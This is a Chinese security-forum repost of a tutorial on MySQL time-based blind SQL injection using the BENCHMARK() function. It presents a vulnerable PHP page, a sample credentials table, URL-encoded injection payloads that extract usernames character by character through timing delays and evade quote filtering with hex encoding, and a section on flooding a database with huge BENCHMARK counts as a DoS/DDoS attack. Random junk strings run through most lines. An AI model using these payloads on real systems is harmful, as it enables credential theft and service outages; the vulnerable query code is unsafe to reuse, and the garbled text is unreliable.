找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2638|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
+ u6 S" Z1 F9 y5 Y" A( B; x本文作者:SuperHei
& t, m/ W/ Z" b. t" e, m' C5 k文章性质:原创
6 ^5 o1 S; D5 x/ x3 H. x- G# C发布日期:2005-01-02
7 B2 a8 D# b& {' B' j完成日期:2004-07-09
( I" ?* _) k8 b) b& A, l+ x# h( }5 d第一部/ ]4 c8 _5 x$ n* b4 d

- m& }: E! g; Q9 B( D0 F9 i7 P9 p利用时间推延进行注射---BENCHMARK函数在注射中的利用
  }, t: Y/ [5 q' l
4 o; [5 D. `0 v, |9 Q9 U一.前言/思路
% l' U) k# m* \4 i8 C0 s( D! o2 {$ `; C7 S5 o
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。7 v: s1 Z" P2 X' x( z! ~

5 h# ]* k- _) a0 E  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
* F, k7 M1 k" b) w5 F; h+ X* s
二.关于BENCHMARK函数8 B2 F( r0 O. m5 c  c" _
' d. H: W8 p: Y, j# F% Y) k
  在MySQL参考手册里可以看到如下描叙:
& c; Z! z8 s' s5 D* ?) U3 C
  |7 {$ t1 ~, u* K9 H/ T/ ^" \& p2 F# j8 q' [+ X! l$ H! y
--------------------------------------------------------------------------------% Y1 ]% Y7 o* _7 b
) i- T6 Z$ Q/ E4 v
BENCHMARK(count,expr) * n1 Y! J0 A" H" O. B
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
, R, ~& a& u" z, `! i; L- xmysql> select BENCHMARK(1000000,encode("hello","goodbye"));
3 D' ?* S# M3 G2 C) {+----------------------------------------------+
. v/ V8 G* ^  j5 D9 ?| BENCHMARK(1000000,encode("hello","goodbye")) | $ O6 D( a, K; _/ L
+----------------------------------------------+ : Y$ Y' T5 r' A4 I* V
| 0 | ( q0 ?; z. w. i
+----------------------------------------------+ + k- d1 s6 M: p1 C. L+ s7 @, o
1 row in set (4.74 sec)
# M0 z4 k1 L3 j
: ~) _3 D- E5 Z! _# f2 I; Q# B' ?报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。; V% Y* q% ~  c% _/ z
2 k- r% u1 S, ?

# X* L7 L- L2 g0 H+ k( F& A5 G--------------------------------------------------------------------------------& g7 K0 o& J4 C9 D  W

, Y! [% p7 {, C8 P% e. t  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 8 ~2 m0 P- U: E* J2 ~! X1 s

1 D4 g& I, M7 P; x, S% hmysql> select md5( 'test' );
* p  K$ f6 S8 G+----------------------------------+
! o; j) n9 Z% q; P$ J4 L) Y| md5( 'test' ) |
2 W& z$ I9 ~; R; ]  M5 Z4 f+----------------------------------+
$ n0 }$ R. `* j! h: q2 l; Z9 t( i6 || 098f6bcd4621d373cade4e832627b4f6 | 2 m& v5 [( J8 y9 T  J
+----------------------------------+ ' D+ @7 O2 W. b2 v
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
8 U! _4 a3 e( z0 ?3 j( d' ?6 X4 F& j' c1 k: V) P3 v& m+ M) _
mysql> select benchmark( 500000, md5( 'test' ) );
; p/ h) j; j2 [5 U6 X4 R- E+------------------------------------+
1 ~2 O3 w) W$ m( M| benchmark( 500000, md5( 'test' ) ) | " H5 d' p2 ~' e. s) d
+------------------------------------+
9 x8 }. d6 w1 y8 y| 0 |
! R. U- Q; d7 g1 b: ~+------------------------------------+
$ x6 N8 v4 G. G2 I1 row in set (6.55 sec) 〈------------执行时间为6.55 sec+ P! u2 L+ Y( c8 F& Y! }: R

7 u( p1 }" J+ P7 ]$ h) V1 A, l/ P8 ^3 d0 s1 g5 Z" j1 A: D
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
" T4 c  i+ H" C/ o# z1 q/ C) b
" x4 i# a# g# @) x三.具体例子; i. s- Y: Z2 a$ n
; o7 r! k2 o/ P$ M# a, }
  首先我们看个简单的php代码:0 S9 ?0 |& A' F; T

4 t: \2 M8 H7 Y! B< ?php
* `4 T  J0 _6 \, |4 M$servername = "localhost"; & g8 `$ c1 }, V/ `+ k. F6 L
$dbusername = "root";
+ Q. S: _2 b3 P: _# i$ I" b$dbpassword = "";
1 u1 J8 I% N+ Q$dbname = "injection"; 1 B+ R- F  w; x2 R8 Z8 b0 p
; F0 x8 s3 a; G2 n+ N
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
* X" k: s3 k, Q" F, \  C/ X' ^
8 B1 i, t7 l: E4 b  Q6 |$sql = "SELECT * FROM article WHERE articleid=$id";   b- |' F& F/ q9 W  E: ?
$result = mysql_db_query($dbname,$sql);
5 L9 S/ m( v3 V4 ~, A6 z" G$row = mysql_fetch_array($result);
+ I) I/ E; X8 R
0 R) r0 e. {+ n2 _  U6 L! z, }if (!$row)
0 @% O6 {6 N% |( m{
' C# h) [& E$ c3 v0 j$ L6 Mexit;
& y9 s  [$ n% f; D+ i} 9 N7 H7 u7 ]( x( U& D3 N$ m
?>, R, r+ o8 i+ y% e7 s7 k& [

+ a' Y. _6 d+ v3 Y/ `
: a' Y2 x; h5 l  数据库injection结构和内容如下:
! i% H! [5 Z$ _& [
% q5 `% h. j  }2 C# 数据库 : `injection` ! k8 E7 F) E. }, d2 ]! l& X6 z4 a- J) Q
#
$ A2 x, M" \: ^  z/ e) g
8 z0 K7 P6 w1 T9 _! a) c# --------------------------------------------------------
: j$ K5 d5 X' }9 a5 F, r$ j; I8 C) d9 e; o' J6 i
# ( e0 Y' `1 x: E4 R/ n
# 表的结构 `article`
) G) Z3 n5 b+ e# d; X#
" ^2 k; ?" y$ i' j( l+ y
, }1 t5 k- s- [6 @% P" _7 b. R4 y  R5 NCREATE TABLE `article` ( ! a- C; p0 w7 r* q% P& d
`articleid` int(11) NOT NULL auto_increment,
! j1 p  O* W4 i( x% b`title` varchar(100) NOT NULL default '', : E- @+ w0 H: c$ s# ^. ]
`content` text NOT NULL, " o! z6 X2 x% P9 Y: X# Z$ w% z" [' r
PRIMARY KEY (`articleid`)
( P: s$ N0 {% r0 ~' d: E7 E) TYPE=MyISAM AUTO_INCREMENT=3 ;
$ r, ]$ V  u! b8 Z0 U0 {' v' @) I8 Q! e
# $ |, q  E% c: j) {
# 导出表中的数据 `article`
( h1 d# P/ [  Q  Y5 X4 r! F. o#   `1 |3 n1 f. L. Q- z. x/ }

0 b* J$ r3 h* J1 e0 SINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
0 H; v* T/ G5 s% O% N/ y. d) rINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 1 r, A1 t2 w4 b8 @

7 k; h- L: a. r4 m# --------------------------------------------------------
2 p. g& S3 X$ I5 o; N# N" r. p! b( }0 w' u6 h2 j' s
#
; H1 s! F9 u+ y# 表的结构 `user`
1 d8 b! Q) \. |: C4 h2 p  A: L#
. w) z! V" F% s# u' [& U1 G3 \  D/ ~% U. K# p; O  {
CREATE TABLE `user` ( 8 n; B. d; b* [6 e! g
`userid` int(11) NOT NULL auto_increment,
( h8 ?9 N8 o* h5 ~) e3 d" E6 ^. V`username` varchar(20) NOT NULL default '', $ J# i* A/ T7 x
`password` varchar(20) NOT NULL default '', ( k, [% O3 {0 L* `* q, W& h% D
PRIMARY KEY (`userid`) 7 ^. @) O0 H% l$ _
) TYPE=MyISAM AUTO_INCREMENT=3 ;
& [9 l  T* B6 O  ]0 ?7 \4 \4 ^" ~# k" H
/ O, c3 Q, P1 h# * H+ q, _8 r3 r
# 导出表中的数据 `user`
- G. k8 ?; e* h$ r1 F" r#
: f* O( |! N8 o0 O) M( R9 x/ J# z2 T3 S) M, J$ n' }
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
! E0 r+ V" Q3 _, D2 w( h2 RINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
: Q- W9 r; g; r- P
1 c5 f7 `& N9 l9 J
3 ^# y1 j6 N5 ?( x  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
, g: o6 r9 ^8 o6 F! D! m$ P3 r! {% f; j/ W6 O; ?0 e
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*+ Y# @) }- F( U1 N7 W  R

2 q& s8 p4 \, m, o8 y# S
3 m- Y% A+ S1 c( s: ~) x  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:9 `2 Y+ V5 a* A
, Q0 o6 _* }$ [- _' ?  o
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*% Z* S/ B) k7 o& j+ g5 `4 N' @

6 S( k8 g) M5 }0 j( ]$ b
' l8 O3 A! H3 C6 t( {  V  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 & H/ k0 R2 T, C9 a3 o% M4 H
7 B- ?3 a( `+ P! Q2 K
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 9 C3 h' A9 q  B* ]* k$ Y

& I  t9 |3 A6 f第二部( c! U! ~+ p, j1 M7 \
/ [- X0 u2 ~# {# q, D" _
利用BENCHMARK函数进行ddos攻击
, v* D5 h/ K& g0 c3 Y4 h
0 S: L+ l. \( g  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
% e# @! c  s7 `7 l
  ~2 S! N( W$ whttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
9 s# B+ x+ B& {) N
# e2 z4 Y) z( n! [' k0 ]' J! x
; u4 J( _/ L( G小结
& W" ^- m' B1 W- r3 C$ r. m2 z! s6 @: x- V) m& Q. V8 U! `- @; d
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。6 D  }. R3 Y! ^8 D/ Z4 r" e5 s7 e
& q& k2 ?+ t% ?# b  K$ @
  
2 b: H& \+ P0 X' D7 J2 _) B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表